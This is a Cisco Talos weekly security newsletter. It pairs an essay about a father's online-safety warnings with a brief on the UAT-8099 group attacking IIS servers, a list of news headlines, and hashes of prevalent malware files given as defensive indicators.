Family group chats: Your (very last) line of cyber defense

Family group chats: Your (very last) line of cyber defense

Welcome to this week’s edition of the Threat Source newsletter, and happy Cybersecurity Awareness Month.

Like everyone under the age of 35 who has at least one father, my dad sends me advice on online safety at least once a week. Does he work in information security? No. He’s a recently retired high school audio engineering teacher, who now spends his days touring with a yacht rock cover band and building guitars. But throughout his life, he’s been a true Renaissance man. From playing trombone on a Bruce Springsteen tour to building our backyard deck, to Roth IRA advice, to the history of Bell Labs, the breadth of his knowledge astounds me. I actually called him last week to find out just how long I can drive my car before taking it to the mechanic to get the oxygen sensor fixed.

There is one area where I think I have him beat: cybersecurity. Not by a lot, but I think working in Talos has given me an edge — or, at least, access to people who can tell me how worried I should be about an issue that Facebook is having a field day with.

Still, that doesn’t stop him from sending me a steady stream of headlines and warnings. Here are just a few that my dad has sent me:

  • Jan. 31, 2024: An NBC news clip of former FBI Director Christopher Wray disclosing alarming hacking threats to critical U.S. infrastructure, also mentioning the takedown of Volt Typhoon. 
  • Sept. 19, 2024: An article explaining that if you’re shopping online and your credit card gets declined, you may be getting scammed. 
  • May 1, 2025: A video warning that “QR codes in mystery packages could steal your identity.” 
  • June 22, 2025: This video about hidden watermarks embedded in AI-generated content. Not nearly as menacing as the others (unless you’re a college student trying to coast), but it is fascinating. This article gives a deeper understanding. 

Even without deep investigation, these headlines reveal a lot about how cybersecurity anxieties are shared and amplified on social media. It’s a cycle that’s probably familiar to a lot of us: technology keeps evolving, but the impulse to protect each other never really changes. Whether you’re the IT help desk for your family or the one receiving those late-night warnings (or both), every message is a chance to share knowledge, calm fears, and help each other navigate a world that’s always shifting under our feet.

So, the next time your dad (or mom, or aunt, or grandma) sends you a link that sounds a little far-fetched, take a moment to appreciate the intent behind it. They might not always get the details right, but their concern is real. In its own way, that’s another layer of security.

Breathe in, let it out, and let’s dive in.

The one big thing 

Cisco Talos has uncovered a Chinese-speaking cybercrime group, UAT-8099, that is hacking into reputable Internet Information Services (IIS) servers in countries like India, Thailand, Vietnam, Canada, and Brazil. Their main goals are to manipulate search results for profit and steal sensitive data, such as credentials and certificates, often using advanced tools and custom malware to avoid detection. The group maintains long-term access to these servers and protects their control from other attackers.

Why do I care? 

Cybercriminals are evolving to target trusted infrastructure for both financial gain and deeper access to valuable data. The use of automation, custom malware, and persistence techniques in this campaign shows UAT-8099 can impact a wide range of organizations.

So now what? 

Review your environments for signs of BadIIS malware, unauthorized web shells and suspicious RDP or VPN activity on IIS servers. Also, strengthen server defenses, monitor for unusual traffic and share indicators of compromise (IOCs) within the security community to help prevent further attacks.

Top security headlines of the week 

CISA 2015 cyber threat info-sharing law lapses amid government shutdown 
Defenders have lost the information-sharing liability protection the bill provided, and the government has lost a lot of visibility into threats emerging across the private sector. (CSO

Cyberattack on JLR prompts £1.5B UK government intervention 
The announcement Sunday says that the support package is meant to “give certainty to its supply chain following a recent cyber-attack.” Some experts believe the bailout will encourage cybercriminals to continue targeting UK companies with weak cybersecurity. (Security Week

Neon pays users to record their phone calls and sells data to AI firms 
Unbelievably, this app was spotted in the No. 2 spot in Apple’s U.S. App Store’s Social Networking section. Their marketing claims to only record your side of the call unless it’s with another Neon user. (TechCrunch

“Klopatra” trojan makes bank transfers while you sleep 
A sophisticated new banking malware is hard to detect, capable of stealing lots of money, and infecting thousands of people in Italy and Spain, under the guise of a pirate streaming app. (Dark Reading

Can’t get enough Talos? 

Talos Takes: You can’t patch burnout 
October is Cybersecurity Awareness Month, but what happens when the defenders themselves are overwhelmed? In this powerful episode, Hazel and Joe Marshall get real about why protecting your well-being is just as vital as any technical defense. 

The TTP: Threat Hunter’s Cookbook 
Hear from Ryan Fetterman and Sydney Marrone from the SURGe team (now part of Cisco’s Foundation AI group), who wrote the Threat Hunter’s Cookbook: a collection of practical “recipes” security teams can pick up and apply. 

Engaging Cisco Talos Incident Response  
You’ve called Talos IR about a cyber incident — now what happens? This blog post takes you behind the scenes of a Talos IR engagement, from picking up the phone to recovery and implementation of long-term security improvements.  

Upcoming events where you can find Talos 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: d933ec4aaf7cfe2f459d64ea4af346e69177e150df1cd23aad1904f5fd41f44a  
MD5: 1f7e01a3355b52cbc92c908a61abf643  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=d933ec4aaf7cfe2f459d64ea4af346e69177e150df1cd23aad1904f5fd41f44a  
Example Filename:cleanup.bat  
Detection Name: W32.D933EC4AAF-90.SBX.TG 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Example Filename:VID001.exe  
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610  
MD5: 85bbddc502f7b10871621fd460243fbc  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610  
Example Filename:85bbddc502f7b10871621fd460243fbc.exe 
Detection Name: W32.41F14D86BC-100.SBX.TG 

SHA256: 3d8eeb6df4a2d777f18d0f15b19cd9666a78927013b8359c883bff423d9faaec  
MD5: 5b7948e7ca9742a33be8403b3285a1aa  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=3d8eeb6df4a2d777f18d0f15b19cd9666a78927013b8359c883bff423d9faaec  
Example Filename:onestart.exe  
Detection Name: W32.3D8EEB6DF4-95.SBX.TG 

SHA256: c0ad494457dcd9e964378760fb6aca86a23622045bca851d8f3ab49ec33978fe  
MD5: bf9672ec85283fdf002d83662f0b08b7  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c0ad494457dcd9e964378760fb6aca86a23622045bca851d8f3ab49ec33978fe  
Example Filename:f_04b985.html  
Detection Name: W32.C0AD494457-95.SBX.TG 

Cisco Talos Blog – ​Read More